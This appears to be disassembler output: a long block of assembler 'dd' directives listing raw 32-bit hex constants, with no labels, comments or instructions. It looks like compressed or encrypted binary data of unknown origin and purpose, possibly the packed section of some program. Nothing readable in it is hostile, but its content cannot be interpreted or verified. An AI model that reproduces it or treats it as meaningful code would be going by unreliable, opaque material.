		dd 18D4C0F9h, 0CD117417h, 0E9727904h, 4AAE60B0h, 0A914C999h
		dd 6BD12841h, 0D4044518h, 0C580625Ch, 0FA328ACh, 0B8A216A4h
		dd 530E1F2h, 5D5E32DEh,	7A0015B8h, 80C182B2h, 0C795B49Bh
		dd 60FBC458h, 7E5563h, 41398733h, 88D74B98h, 9A9C3A18h
		dd 788F7B29h, 2F2973D9h, 3404C669h, 0EB34B82Dh,	0B624F382h
		dd 2EDC107Ch, 50A83516h, 0EC4758F7h, 999076B0h,	0D53D5F16h
		dd 1D4B00C8h, 1600482h,	0C8DE433Eh, 0C92422DDh,	0DDF4C2FAh
		dd 0C200C437h, 6EEA4687h, 58CE2E65h, 0D8F380B4h, 4AF15F3Dh
		dd 4CF7274Ah, 0C62D8B2h, 0DBA78056h, 0E0737000h, 0E85A860Fh
		dd 88016A8h, 0C031B172h, 3C0C4B98h, 250914AAh, 717B0A2Dh
		dd 4AFB02A0h, 8FD5FA95h, 0F00284D0h, 5BE7B907h,	0F8E57000h
		dd 54B21A69h, 0CCC8EA5Ah, 0CEBB00F5h, 3AE7E27Dh, 901D94D0h
		dd 9F00411Bh, 6710E9E1h, 20300027h, 6D42CD24h, 0B4BE1DB5h
		dd 5DF912D6h, 4368ADDAh, 3050E294h, 0BF00D45Ch,	0CFAA2C89h
		dd 549B9F51h, 0E8D898h,	9E5E2584h, 0EC13A352h, 609F3EF4h
		dd 25888F2Ch, 0CCC62A86h, 465E289Ch, 82CF01FCh,	996E003h
		dd 4AFC86F9h, 3F209223h, 0F809A070h, 0F8543D9Fh, 0AC851160h
		dd 8E600ABDh, 2FCCD9F9h, 0D6E05CEDh, 72A15CE3h,	0BDF81613h
		dd 8EA80B67h, 6C25AC74h, 64510E4h, 0B5870568h, 43AF9899h
		dd 2B2F693Ch, 3C94BBC0h, 1F20B300h, 0D229B927h,	2CD00435h
		dd 0ACD3B5FBh, 8C34BC54h, 29C37516h, 70808CECh,	625677E3h
		dd 403C21E4h, 0BB84806Eh, 0E2CE8FA6h, 2EB081DBh, 8723DC30h
		dd 25A47E70h, 205926BEh, 1BAE6C97h, 0E8ECD866h,	17342038h
		dd 44969278h, 0FA8B1368h, 6A00546Fh, 0E7CC463Bh, 332F347Eh
		dd 13302099h, 0F6B59EDDh, 0A3D50070h, 0BA4F76E0h, 0BF098085h
		dd 713C4503h, 0EE8F824Ch, 0D4F61EBEh, 4026F8ECh, 210B77E4h
		dd 0D2EBE203h, 0FCED44A4h, 57866400h, 54247C77h, 9FC09055h
		dd 0CA60484Dh, 4B79F5Dh, 0BD46F93Dh, 0C2ECE8CBh, 0D0BA91F8h
		dd 0F898957Ch, 2A278A78h, 89B022CBh, 4498D60Eh,	9D6E41FFh
		dd 76005BE9h, 9CB41A61h, 0FB032086h, 95B0F089h,	303BE8C3h
		dd 9CA74A3Dh, 39FB0D18h, 5E75861Bh, 0E0074DE6h,	2179BC4Ch
		dd 4C056C53h, 2C4148F9h, 122E86FDh, 232C3EE0h, 2921006Fh
		dd 0EC5A327h, 0C924CE1Ch, 1879E00Eh, 4B8B2649h,	6008CD86h
		dd 0FA22114Ch, 0F5CA2997h, 3D010BA0h, 46761076h, 31E4041Ch
		dd 10F3F603h, 0C7E8F55Ah, 4D36AE1h, 3AA200B8h, 3DF4742Bh
		dd 0F94421C1h, 0C49B0236h, 0C97D00BCh, 0CC861180h, 8F095E53h
		dd 5CB1B006h, 0F24676D0h, 166D7B00h, 3952D25Eh,	0F0BE452Eh
		dd 0CC62920Ah, 8D1AB985h, 47F38C49h, 63EDC40Ch,	66B3B820h
		dd 69F70110h, 0D3828A9Ah, 809B6AF0h, 0B16CD282h, 0B37044D3h
		dd 799304A2h, 0FF8B6BF7h, 0CACF034h, 3C8C0BBCh,	4717C1BAh
		dd 0A694F499h, 0CB5D6307h, 0D640DF19h, 0FBE3A3F6h, 25B57E8Bh
		dd 0F7243CF8h, 2F09F915h, 0CBD0D4E9h, 445C86Dh,	563694C1h
		dd 0E024B407h, 0BC502C0Ch, 1432F4D8h, 440EE0D4h, 0D86C00D8h
		dd 6A4AEE01h, 8614A0B2h, 98885BDh, 5E0D2DA7h, 0E0A608A8h
		dd 0D1B0640Bh, 186DD158h, 7A47001Dh, 0A920118Dh, 6567ADE1h
		dd 6DC06721h, 1DF915FFh, 403635D5h, 540BCDC3h, 0A404E86Fh
		dd 0FAB27B69h, 2E4ACE0h, 0C19D4A87h, 6CF113B5h,	8054D327h
		dd 538AA9D1h, 0B6F240B8h, 0B85C1D5Dh, 0A6B0002Ch, 6261D62Eh
		dd 0E2B83A8Eh, 0E60C412Dh, 58ACB33Ch, 0CA6FF54Fh, 95CAE40h
		dd 51408158h, 0DB2A97E6h, 0FAD8C1E0h, 302F211Fh, 8EFE8D08h
		dd 0D4BAE726h, 297157C0h, 0C6E401FAh, 0DF9C1704h, 0FE182030h
		dd 0A1102C17h, 8C77203Ah, 28CE3E00h, 4D0FFB5Ch,	0B8E0B58Fh
		dd 8C9173E0h, 8E8A8809h, 165A6880h, 343C0805h, 72827885h
		dd 0E31E04D1h, 0EDBCCC3Ch, 0EF940F8Ch, 69C02B0Ch, 1D4A5AA4h
		dd 23D83350h, 701040B5h, 5EBFAC0h, 6AF0ED37h, 104BBA2Dh
		dd 47C5184h, 1F3DAD4Ah,	187EB2BFh, 8270F6AEh, 0A895662Fh
		dd 0AC869448h, 36987D18h, 7EE113E9h, 0DE6D00C3h, 16669E9h
		dd 0B00D8E8h, 85A4B50Eh
		dd 7DBC96A8h, 0F8B05393h, 0CE30E1A2h, 0FF33257Dh, 8B4EC8C4h
		dd 1F46F0A0h, 657520ACh, 0EB11BC97h, 81547780h,	0F17A357h
		dd 7CCD46D3h, 23AC2B3Ah, 0D6130FFBh, 0B7D20781h, 0A0642EF6h
		dd 0EDE00CB6h, 3B282A45h, 8926E487h, 8C01E404h,	67E26D10h
		dd 8038B804h, 5BA1CEB8h, 2811FC61h, 4FB88B8Fh, 0E064E6D3h
		dd 27942A28h, 0E0A2AEB7h, 0B05743F6h, 24CB2D24h, 12ED5AA9h
		dd 0C4F0E4AEh, 8B895800h, 31B5B72Ch, 0AF713B39h, 0BCE24Fh
		dd 68BE7A69h, 110D64Bh,	1A024F8Fh, 3326BCC1h, 88F50098h
		dd 0CA445BF0h, 8FAC0311h, 0D692527Ch, 3F0FCC90h, 5E78EE5Ch
		dd 16FDD0E4h, 0A80BC972h, 22A3A280h, 0C85C78E0h, 0D8F44B80h
		dd 0F1C473FEh, 0FF44883Fh, 0DD426300h, 8E17A893h, 6AFB0B56h
		dd 88540ABDh, 816213BCh, 0BC77CB0h, 0E1646125h,	80F6FCA1h
		dd 3EFD1075h, 0BB9425F7h, 8B6F9811h, 715A0DFEh,	0E8102754h
		dd 0D61368A1h, 100FAB89h, 2D2EF04Ah, 0F4AD1600h, 0D0EA3A8h
		dd 8049B99Ch, 0FD31BDB3h, 93C012DAh, 394D013Bh,	7A76193Fh
		dd 0BEEE04D0h, 0A444B5CFh, 71C09A79h, 0A558B3AFh, 4D39004Ah
		dd 0CEDB0327h, 89974860h, 0CD408044h, 0C0F20E0Dh, 0FCDD7AC1h
		dd 14A051Ah, 0E0BEC044h, 17EF2540h, 0E2580ACFh,	0C8490A4h
		dd 30395152h, 60F63ECAh, 1351CC30h, 2494FD03h, 66599D41h
		dd 20F4C507h, 0BF2F5C8Ch, 10B3A705h, 84532CADh,	0CCF1500Ah
		dd 46827A82h, 0EB5CD6E8h, 3449F00Ah, 1EC4B218h,	0DA029A68h
		dd 5E222B1Ah, 40CF4464h, 19DD1385h, 0E6B10166h,	6A7A8638h
		dd 1DDC2DEAh, 0E74D64h,	1860DC5Ch, 8871C5F1h, 0B820BF8Dh
		dd 25A79350h, 70ECA551h, 85819F7Bh, 90841C60h, 59D60BF0h
		dd 48001148h, 553E64E4h, 9C5270BAh, 19DF00D8h, 22788434h
		dd 0B2032456h, 12AB12F4h, 5C4CE39Ch, 8CFBBC34h,	5F5CDA2Eh
		dd 0B4A27900h, 95C2CE8Fh, 0AC5EB882h, 8DF69048h, 7728309Fh
		dd 8C6295CDh, 0ECA39800h, 17B51129h, 80E8919Ch,	2B45DE6Ch
		dd 2572011Ch, 0DBCD2CF3h, 0A2CC36CBh, 806D30FCh, 0FDE723Fh
		dd 85CFF2C5h, 4AE6952h,	0AA074DA0h, 3423843Eh, 0D83B1A00h
		dd 1656BE5Ch, 0A854AD76h, 6D39E7A0h, 0E93A60B4h, 98BF1597h
		dd 25C68D18h, 0C047D26Ah, 1B60E964h, 0A64B656Ch, 0FC0140C1h
		dd 0C954C82Fh, 71C0899Dh, 0F845AFACh, 0FA606EE4h, 4100B0CBh
		dd 0F715B516h, 0B6C8D93h, 39403A75h, 38D18871h,	0E402D918h
		dd 509510B4h, 0D415D5B3h, 72EF09BBh, 0EA48C8E5h, 8659D52h
		dd 0DE927A04h, 242EBCA1h, 1082AA80h, 0FE810059h, 48C237D5h
		dd 0C2B1AB65h, 443CC72Ah, 0C52160E1h, 38F312A1h, 886CF208h
		dd 4B0A8C6h, 6B0F0193h,	0F428ABA6h, 0F3994ACFh,	3150B274h
		dd 9FCAFC60h, 0CB66D604h, 81595Ch, 1300E415h, 864A536Bh
		dd 48841CE2h, 804CF978h, 0E8F48A92h, 7DD9000Eh,	4204038Bh
		dd 630976CDh, 2141FB3h,	5E5C5E38h, 0AA1A4520h, 0BB03346Bh
		dd 72D7A0EAh, 0E46FA7A1h, 3E4B91F8h, 6F46C80h, 268876ECh
		dd 0BE8B8EBh, 8EFF08Dh,	0AF529740h, 0CC312668h,	0A98A12B4h
		dd 182ED274h, 2B003F23h, 5F8FFFD4h, 0FB91DDEh, 4A42027Bh
		dd 505E0EA9h, 0C4DCC55Ah, 2B56616Ch, 508DCFF0h,	40AABC28h
		dd 14007F6Dh, 154F4887h, 3E5DA966h, 2580753Dh, 76CC54E4h
		dd 0D11F28CDh, 0F3055272h, 53FA5EB1h, 0E814E8BCh, 0F7D8C1Fh
		dd 8FC180EBh, 0EC97D2Dh, 0A8A6002Ah, 912036E9h,	967D98B4h
		dd 641D2B27h, 0A5AF3B18h, 405BEE9Ch, 4EE6B3B8h,	415C6499h
		dd 89ED300Bh, 2185DDh, 439CF12Ah, 91B18D75h, 7AD7A500h
		dd 0CFC9F2FEh, 22323B1Dh, 168205AEh, 7D74D1F4h,	98DE3B73h
		dd 0FE31DF80h, 181DF06Dh, 0A06D6E30h, 0D2EE8DA8h, 0D80E80E0h
		dd 7125D0B4h, 18E87960h, 9DCD055Ch, 81800E7Fh, 5F77AC8h
		dd 7174440Ch, 0E5B825A9h, 5CF46CABh, 0EA9101DCh, 66BCC68Fh
		dd 0B22073A4h, 205131FCh, 7B0BA24Eh, 544A1F54h,	1CFE6B80h
		dd 3A8209DCh, 0A04401D0h, 0A30B3101h, 63ADA6D5h, 3BA43C10h
		dd 0F965EF00h, 0B3FD9325h, 0CFECED9Ch, 0FB041748h, 0B810E9E7h
		dd 16110364h, 0AAD943A1h, 0F97A6B8h, 0DB4ECF7Eh, 0E2438DCh
		dd 8E41C931h, 74C599E9h, 2F601CE4h, 0FC9A2696h,	855878EAh
		dd 0F06E104Ch, 7D2ED048h, 25108B5Ch, 0AAE8B043h, 0AE4BC0E0h
		dd 50C39C5Dh, 0E8A4B8ECh, 83223Fh, 0EE0CCF14h, 0E7669C7Ah
		dd 782A9209h, 25885C2Ch, 0E62D8C78h, 0AE45397h,	24606061h
		dd 8D910080h, 8CAFF99h,	24702000h, 617323B3h, 774606D6h
		dd 58E0EEE8h, 976491C8h, 0C1E900B4h, 0EE465D6Eh, 0A703D8EEh
		dd 0AC893FF1h, 5ED9DAB8h, 2DB00003h, 0CF99F37Eh, 0BA5C3504h
		dd 10ED81FBh, 0A0A4B692h, 7B90858Bh, 0F7972D05h, 6000AC58h
		dd 0B9B39D98h, 136C2478h, 6E1DB688h, 0AE860EB8h, 0F2E4C0C8h
		dd 2D729428h, 0C073CA77h, 0F8B5ADh, 1FDEFFABh, 9F0043C8h
		dd 50ACA50Dh, 9BC1156h,	0E003108Fh, 7D6E9C68h, 17691620h
		dd 451EFE8Dh, 0BA6DD814h, 7022A852h, 0B73CE124h, 2730812Fh
		dd 0B5B20CB3h, 0A06FB0CFh, 0F4E36E4Fh, 0DD9400F9h, 0A473F2EEh
		dd 3B4A0E74h, 0EBE2C4E3h, 930DC30h, 7A97A15Ah, 6147CC7Eh
		dd 0DCF91Bh, 23B8F293h,	0F6166016h, 0E8A85AF3h,	901637B2h
		dd 1AC32681h, 0F20F1228h, 58B9C898h, 29CD243Fh,	1801215Ch
		dd 49A5CD2Ch, 985CA8C2h, 0B317E56Ah, 0CC4464BCh, 0E3B40585h
		dd 0BB6F1290h, 61078030h, 9552701Ah, 0E8D994D1h, 7BE44718h
		dd 514DA4Ch, 0D556C68Dh, 160838ABh, 0ED971092h,	0F94BC004h
		dd 0C35049B3h, 0F14146D0h, 0AB5C742Eh, 5A00886Ah, 0A1BAD387h
		dd 1F03FCF3h, 0EE8FC144h, 0E488C586h, 9F504009h, 4246741Ch
		dd 78E2FD12h, 0E53CB64Ah, 771020AAh, 0E60979C4h, 767405F3h
		dd 305DC94h, 0F9DE9C12h, 30CC13FFh, 0B544A818h,	0F0666018h
		dd 16882381h, 6E1A778Eh, 8E690F98h, 3004D271h, 0E702515Eh
		dd 89752EEEh, 0EB4854ECh, 316428E5h, 0F57BD060h, 3A6EF203h
		dd 0E85A126Ah, 4B6D4AFAh, 0A824D333h, 2FDC7F99h, 77E06421h
		dd 244909C3h, 10D13FFDh, 330B7A5h, 0E2C27435h, 0D32BB1D8h
		dd 0F85872E6h, 0E4598494h, 6E2D8CFDh, 1E4AC8D0h, 0FAC84B9h
		dd 39279F03h, 8C93057Ah, 0A20A0C0h, 70E6957Bh, 14627CA1h
		dd 8BAC32EAh, 70256C5Eh, 456E1730h, 5A24BC3Eh, 660940A3h
		dd 0CA84CFBBh, 0C124BCC4h, 5B0E6D6Eh, 33FF0301h, 0A19D12F8h
		dd 0A7022ABh, 0F4605C74h, 0BFDC6004h, 8B6CC810h, 0C929FBE6h
		dd 3ED1FCCFh, 0D2833019h, 0D99B092Dh, 54AD0034h, 41C404E8h
		dd 0FA86DC05h, 0CB04572h, 2C94A126h, 342B0461h,	669404E4h
		dd 0C1E4B9F2h, 0C6C2B1D8h, 95B3220Fh, 1F709473h, 870C4E63h
		dd 7A91C245h, 242EE4D0h, 3101A3B4h, 2D73D651h, 8810CF2Fh
		dd 0A23CC267h, 185C24E2h, 1A44D660h, 0F045B574h, 45046DA5h
		dd 87306090h, 0AD2EA070h, 20838F1h, 0C8611FFEh,	0F60606EFh
		dd 4BA97287h, 22C88AF0h, 5EF09427h, 6C00EA46h, 0B67DBA50h
		dd 8F77D872h, 4A76040Ah, 9E09F484h, 84F07399h, 0AEAA6BF6h
		dd 277BBC02h, 0D4B777F0h, 7742B780h, 0B8AC93F7h, 6ABA2074h
		dd 0F9850644h, 91DB7ECh, 0F87EE00Fh, 4527C473h,	62E9646Ch
		dd 0F4B887B8h, 0C67B5B11h, 23342F3Eh, 0B6803B69h, 312543D6h
		dd 88134599h, 0D4BC0EEEh, 0ADD0CC4Ah, 0DB397C60h, 0DE6F46h
		dd 610A5328h, 777AC618h
		dd 0C293C525h, 44D8C7A4h, 6BA367EAh, 6E8A90F7h,	23124F75h
		dd 5C2E06Ch, 0A2208229h, 3038DAE1h, 73A8C56Bh, 47970D1Eh
		dd 60324414h, 26EDEE1h,	3C7850CAh, 0C4408994h, 802C5415h
		dd 930E24B3h, 0FC2009FAh, 0E8791AE4h, 2C3755h, 63E33BF0h
		dd 412570CDh, 0F0D8FAAEh, 0F98A40DFh, 0B6844400h, 58EFAB2Ch
		dd 6A392457h, 0AE450508h, 0CE20FC54h, 0D4A87697h, 0E0C4A6D7h
		dd 1CD19C1h, 0FEDE9D26h, 2ABC0762h, 7EF55C09h, 4E24DCC0h
		dd 87027103h, 0DAD96ACEh, 0E1993014h, 0F58B8C29h, 3F80AD52h
		dd 361680EBh, 2D41D3E3h, 20D10012h, 8A1F2591h, 0E6082F76h
		dd 1F5F8274h, 89B51FB6h, 0E0004303h, 2BBB6F5Eh,	85247F1Dh
		dd 0BD1326C4h, 0B87C12EEh, 0F28C4290h, 0D8F53132h, 8C05A942h
		dd 352359D4h, 0CCDE5858h, 3A6C00D7h, 0B83CE6E3h, 2E0F0E46h
		dd 131FE52Fh, 884A60E3h, 28079B24h, 0BA7BDC80h,	0CFC41E00h
		dd 3F5F3BEBh, 919EC500h, 605198E9h, 207C1697h, 8D091E24h
		dd 57F216E6h, 0AEFFB8A4h, 200F1062h, 17F029ECh,	18AAD03Ch
		dd 20E2F6CCh, 5E1A0126h, 6E137E7Ch, 449B3BECh, 0A2E4E8C0h
		dd 27268C70h, 6109B84Ch, 2D05267h, 0B92CB07Eh, 6489E986h
		dd 3D70F8FBh, 329A003Bh, 716A2BEBh, 760283C4h, 6E185781h
		dd 7C9AFFCDh, 6CB55Dh, 5C5FC9B8h, 0FD259FD3h, 0A524718Ah
		dd 0F1058844h, 6892FCB6h, 132B20F1h, 6D06F68h, 0FA0EBE85h
		dd 0DB8400B9h, 1BB8271Dh, 15044DCCh, 854AF15Ah,	7E8404BFh
		dd 4862AECBh, 802BF6h, 5272802Eh, 70A0A14Fh, 0FB070943h
		dd 8440014Ah, 0C5015691h, 0CD558C22h, 11EDCEB8h, 4B34922Bh
		dd 10B81E24h, 0F244CC0Bh, 2456F4A9h, 0F1D005C9h, 148C02AAh
		dd 0BC926EE0h, 21C08557h, 0E258E0A8h, 0E0638925h, 0EDF91818h
		dd 2C99D8B8h, 83C4FFB6h, 66B1FB36h, 0A49B1126h,	84616547h
		dd 0B22B1AFCh, 2AB209ACh, 3AEC59FBh, 0E86091A5h, 0AC629ACDh
		dd 56CB0ABEh, 4AFA11E8h, 600EC4E0h, 0D87A11C9h,	915D62FCh
		dd 0CC700000h, 0EAB683C0h, 20CE95F4h, 2A203890h, 0D6873D6Eh
		dd 1F60004Ah, 24309F0Eh, 0AD8A793Ch, 292CC8C4h,	0E7984A38h
		dd 8D121020h, 23B42E96h, 0E21F00F1h, 28420E4Ah,	29732702h
		dd 5766656Ch, 10C81464h, 0BC4DA5A2h, 8160FD64h,	0F4049645h
		dd 9A490AC1h, 1A0DB0A0h, 58E4CACFh, 0FA04B054h,	8CA03552h
		dd 888E4EF6h, 0C12072E0h, 4887580Bh, 8C31E8h, 19AE44D5h
		dd 93A42771h, 307BDFE8h, 5168FD17h, 4A8038F8h, 0CDA07E9h
		dd 6EA5EF02h, 0D56D727Dh, 882D5036h, 0B94050F1h, 181CD934h
		dd 9FA1029Bh, 5EB138C0h, 8882B059h, 77BAFE8Fh, 5C33B08Bh
		dd 0CFC6CEE0h, 0E897FD82h, 465C64ACh, 4FDB1E3Dh, 82527809h
		dd 21F063C4h, 2B8A8F8Bh, 0D26F3828h, 0CC6EEB61h, 8F20C701h
		dd 84CE2AEEh, 74BBCD8h,	0BC80C4DFh, 708790B6h, 0C4B9AC01h
		dd 0C61299F8h, 0C834AA04h, 10F1ECC0h, 79309391h, 0C56C70E1h
		dd 0BD760B00h, 1A56D199h, 2BA31666h, 137C8DDFh,	1FCCB94h
		dd 0E616B1F2h, 0F0A0DC2Ah, 0A4201C98h, 25C898EFh, 0B05BF4D9h
		dd 0F31288h, 0D8AE9766h, 262433CFh, 2B019631h, 0FE778703h
		dd 6EBCE428h, 58D728Ch,	0AAEAE93Ch, 8018EC03h, 8E3DCB4Dh
		dd 0FACC1FBDh, 0A09B9848h, 65002CDDh, 6AFB1A91h, 0BF97E669h
		dd 8955CCC4h, 0B81C79F4h, 8D1724F8h, 0D8582D78h, 91543595h
		dd 11FD803Dh, 2982AD0h,	0D172755Eh, 505697F9h, 0C4C46552h
		dd 41ED606Ch, 53DA2D48h, 649A28FAh, 4097B49Ah, 0D22FB5A8h
		dd 0A008BFB8h, 192E0067h, 6135F2A5h, 0FC40605Bh, 0B0132621h
		dd 57EB0270h, 6332337Dh, 0DC1474h, 0F07C92C6h, 0A5B05C71h
		dd 0E8E998C4h, 0FBE8CC16h, 0EF055214h, 97843B58h, 54C88E48h
		dd 446F4CE0h, 1CD2EEC2h, 0D0EC0E02h, 4A460F84h,	0A99640D7h
		dd 0B8F6D63Ch, 3A709EA0h, 0A453BF02h, 0D50B7FD3h, 0FCDD3C18h
		dd 446CCDBFh, 942260EAh, 0F7BE0F48h, 0DE9CC7Fh,	0BDB830E8h
		dd 0A5222700h, 44C40920h, 736F408Eh, 0AC2CF307h, 5679BC0Fh
		dd 0A05E6950h, 97C23FDCh, 28512FA5h, 0C1889C0Fh, 0A38D6A34h
		dd 10E1B07Bh, 2456D900h, 5CA0852Ch, 765D090Fh, 18D6EE6Eh
		dd 0EAE7FDCh, 0A275A83Bh, 95EBE960h, 0C6BF1D8Bh, 88554ECCh
		dd 4572789Ch, 44E497h, 5777FF31h, 0DFBA4E88h, 0DBA9AB00h
		dd 0AF1A2845h, 5B567F74h, 9174E49Bh, 1821BB00h,	71B01450h
		dd 8AA100B9h, 29EA96Ch,	89B8CEE1h, 473862BDh, 603844C4h
		dd 0ECBE045Ah, 56A00992h, 24727D10h, 0AC88D898h, 0E648E4F1h
		dd 44A04E14h, 3C6C4947h, 38B24Bh, 0B4A3FBFCh, 58BC9DEDh
		dd 1401F070h, 9688806Ch, 5282286h, 0EAF89F11h, 92EEB402h
		dd 6E747AC0h, 0C625797Ch, 2DCAC5Eh, 25702075h, 3007D7BCh
		dd 4680F86Fh, 2E072D93h, 64E8BF78h, 0C712FDDAh,	6BAA1DB6h
		dd 393C0170h, 6699F718h, 0FC7919AFh, 4EC16200h,	53438Bh
		dd 9DC2D34Ch, 94614C7h,	0EEB5EE25h, 7C5B9520h, 12022050h
		dd 1E1144C9h, 7C01E200h, 73EA30C5h, 5CFC4260h, 0BBF00F2h
		dd 0C209F79Ah, 6AFDE1FBh, 1300708Bh, 5329CB24h,	0DE28FE8Eh
		dd 865FA8EDh, 5088E8E2h, 0D470F469h, 3356F201h,	71F3BD4h
		dd 58E22Eh, 223D343Ah, 8014018Ah, 2580776Eh, 0F40E302Dh
		dd 19C3FF29h, 0FA368500h, 750402CAh, 98DE150Fh,	18E84C40h
		dd 0AE0E3400h, 5C32A5D3h, 366112ADh, 0AE08B3E1h, 0F2E8584Ch
		dd 19D1008Ch, 54E8866Dh, 9D2DEA1Ch, 0ECCC499h, 1B9CA6C5h
		dd 2A67C7A0h, 1F13A009h, 0BABBDB4h, 9894D2CCh, 9725F722h
		dd 33C064EDh, 880E98A0h, 46011A65h, 11AD7CAFh, 0DC6A873Eh
		dd 61D3FA9Ch, 678C27AEh, 34E03EE6h, 42810108h, 90053A12h
		dd 0B24E5CA3h, 0BA2C0024h, 0A22DCC30h, 101B7915h, 276718C4h
		dd 42145C1Dh, 5309C1E2h, 85BAD0Ch, 72AEBD50h, 3FA101F3h
		dd 0AFCBEDD9h, 10642BDBh, 80389AABh, 789B04C8h,	794B060Ch
		dd 0B1EA4E92h, 313D7210h, 0D451232Fh, 365E8900h, 747BB537h
		dd 12775FC8h, 23843A5Ch, 66750A67h, 6D02CBB0h, 0B056E732h
		dd 3968E184h, 1F606FFFh, 0EE82D9F6h, 0FF42A99Ch, 959FE496h
		dd 85EA9160h, 0C0813B48h, 9E2BF26Eh, 0AF148068h, 15F4232h
		dd 93F74C26h, 3B6CE0AAh, 251834CCh, 88588D23h, 0CBDB7h
		dd 86C1A299h, 0CD4A269Ch, 5B7380B3h, 7548D07Ah,	330524F4h
		dd 0EC23F57Fh, 0A21C60B2h, 7A43803Fh, 644A6F22h, 5EE95800h
		dd 9FC4DB95h, 7942052Ah, 880D5477h, 0B9787FD0h,	556C3604h
		dd 40B0E6A3h, 0B1754A1Eh, 50986F60h, 1FDA003Ch,	78EA93C1h
		dd 90015FCh, 24F1D18Dh,	0B5924F68h, 0CDBD4C66h,	5AAC11Ch
		dd 0D4C87EC3h, 20B04Fh,	0F00BF9E8h, 0CC3D1AE9h,	0F4F6FE01h
		dd 0E7971E8Dh, 254E42C4h, 185C8B11h, 10A4674h, 4861772Dh
		dd 342F7F89h, 3421AB48h, 0B9C8BF39h, 266000CFh,	5A55B691h
		dd 0C505FC7Eh, 0F156D393h, 7A879CECh, 94F4EBB2h, 7DB5EA01h
		dd 9470E9DFh, 9AAF4B10h, 0C10AC8B0h, 2BF0DE3Fh,	0CC708C20h
		dd 5D7D104Fh, 1FB8B239h, 829FEA91h, 0F5032218h,	0E08A2C5Ch
		dd 7F005871h, 2CC250EAh, 23C6090Bh, 30182676h, 4900B04Ch
		dd 6C4A675Fh, 0BF99F6EDh, 0C09F0064h, 40BC24A0h, 48FF772Ah
		dd 8100B9B8h, 882F5A66h, 75025h, 72716C96h, 0E70F108Fh
		dd 55181A97h, 88409C1Ah, 0C5B53E1Dh, 51520560h,	0A4181237h
		dd 0A5F8FB84h, 14E9EE4Bh
		dd 4AD65610h, 8238D008h, 0CDDAC68Dh, 0B6209C72h, 94FEF862h
		dd 5440A54Ch, 0F5304A43h, 99AE50E1h, 7469C996h,	467C507Ch
		dd 60E10F68h, 0A0C8D66Eh, 780E0090h, 8910F0ABh,	9499B28Fh
		dd 1218FED1h, 0AC7F9702h, 56215F1Dh, 0AFD4028h,	667C4989h
		dd 71F23EB8h, 0FF785517h, 0D887FCF8h, 4E57481h,	38F40DE4h
		dd 9660011h, 0A687703Ah, 683A6C49h, 0DC0500BFh,	65D2CB84h
		dd 20254FCAh, 7F620788h, 0A4BF0B00h, 6A3043D9h,	0BF2A7AB7h
		dd 0CE8E14C0h, 9E97620h, 6EAE456Ch, 467ED8F4h, 335E00FEh
		dd 0CEF4B384h, 0F3885FF6h, 50E927C4h, 0D09B5F98h, 7DB32AD4h
		dd 8E16EE0Fh, 4BC94073h, 0AAEA544h, 3DD52FCh, 902A1888h
		dd 6A9764CEh, 0FA1C82D0h, 12685AE0h, 0B30D0B18h, 310AA208h
		dd 2131CDB7h, 6C847F3Fh, 81CC9BAEh, 4338937Dh, 107E442h
		dd 23F40323h, 2F7721F0h, 0C8FC10E2h, 46DA00DCh,	8B1ECC63h
		dd 619F0EB7h, 0DC487F90h, 194A07B3h, 0BBD7CCB2h, 35BF2070h
		dd 52BC8ED0h, 87798B7Ch, 732F3056h, 1A4D024h, 28DAF3Ch
		dd 0B18B2330h, 4E85CE8h, 0BF750B7Dh, 813A7889h,	7DA2D368h
		dd 0E23BB820h, 0E217FBEh, 2DF20307h, 0C2F79BA7h, 0D056ED30h
		dd 7510EE51h, 7EF51952h, 4F6D498h, 6A5BB5F0h, 2872C2E3h
		dd 0E03CCD57h, 9405C557h, 6F8AC12Eh, 30488507h,	372DBC30h
		dd 0B55E021Eh, 0E93F9F11h, 6D2D2C5Eh, 726C004h,	2807F784h
		dd 0C545BF71h, 692C761Bh, 465E4CD4h, 0BC1D766Dh, 0F74061F8h
		dd 0EE8FFAD3h, 0D8C8BF92h, 65B5019Fh, 5D2D8810h, 190C980Ch
		dd 8C5E002Fh, 0ADD76324h, 1200F185h, 0A597CEBh,	4EE664EEh
		dd 8DD0D17Bh, 8FB0570h,	803C5340h, 0BD8F661Ah, 5A23B049h
		dd 4ED8A377h, 39A050A6h, 3D12DF5Ch, 64BCDD2Ah, 264E65Fh
		dd 8CA36B93h, 0C0BC5650h, 0D51AF0DDh, 68F40A5Eh, 72CC7EA9h
		dd 0B049BD62h, 38E22B10h, 3830E1F2h, 0C98E5F47h, 0BF45E098h
		dd 0A5C4653Eh, 3CD89013h, 3B1EB09Fh, 0CA07B163h, 89B41583h
		dd 6E6C815Dh, 0DB2B8FE3h, 0C462C0A4h, 0F6884CFCh, 27517C54h
		dd 0D86AF7h, 4578CCBFh,	0A950E46Bh, 0A66460B5h,	0E5C4003Ah
		dd 0E1CD5691h, 0B58A81Bh, 0E4A22A30h, 0CE02BA06h, 2D49959Ch
		dd 0A866FB03h, 0FF825A73h, 4EBA8024h, 63145403h, 2592A50h
		dd 0C32DCA41h, 10503291h, 4814CE50h, 0EE40158h,	85DE7EE0h
		dd 0C88CEC0Dh, 427607E4h, 403CF7BBh, 7FE18195h,	3892500h
		dd 139C850Eh, 0BBE8304Eh, 36FCF840h, 1481F721h,	0BD01349Bh
		dd 0AA493426h, 0B0A22AB3h, 0E9627B02h, 887E9830h, 1A05FB90h
		dd 0FFEC755Ch, 0FE035C05h, 0CAF08066h, 42F8FDD9h, 6CF27AE0h
		dd 82EF0F09h, 43F4541Fh, 2900EB9Bh, 0A2E9B571h,	1604CD27h
		dd 0AD28840Dh, 40E2230h, 993DC903h, 8368B81Dh, 250AA162h
		dd 10C4FEA9h, 6D6E10E3h, 3622863Eh, 69F1151Ch, 0FB04BC06h
		dd 9638E56Ah, 103B688Ch, 0A4C49D0Eh, 0C26CFC65h, 7000D6F8h
		dd 24CB1EA0h, 27243CFBh, 0FC256C56h, 8DF54028h,	60BFA782h
		dd 96B16AAAh, 746C2608h, 711E1F46h, 4EE06A49h, 0C7949A28h
		dd 0BED04791h, 98CD6C3Ch, 0B818B74Bh, 5107721Bh, 0C5AD1A24h
		dd 8B0AABE0h, 93CFC8Eh,	1FD34BEh, 2A0030C4h, 0A1D3B661h
		dd 1E04B8Dh, 0E262EBC0h, 0C0F90887h, 73010AA3h,	64E48FA6h
		dd 0C0404626h, 136C19D2h, 0BAB3EF88h, 0A000C86Eh, 584A3A7Fh
		dd 9F007081h, 0F34687E5h, 0B5F05BB3h, 0F8D6AC10h, 4D4DF80h
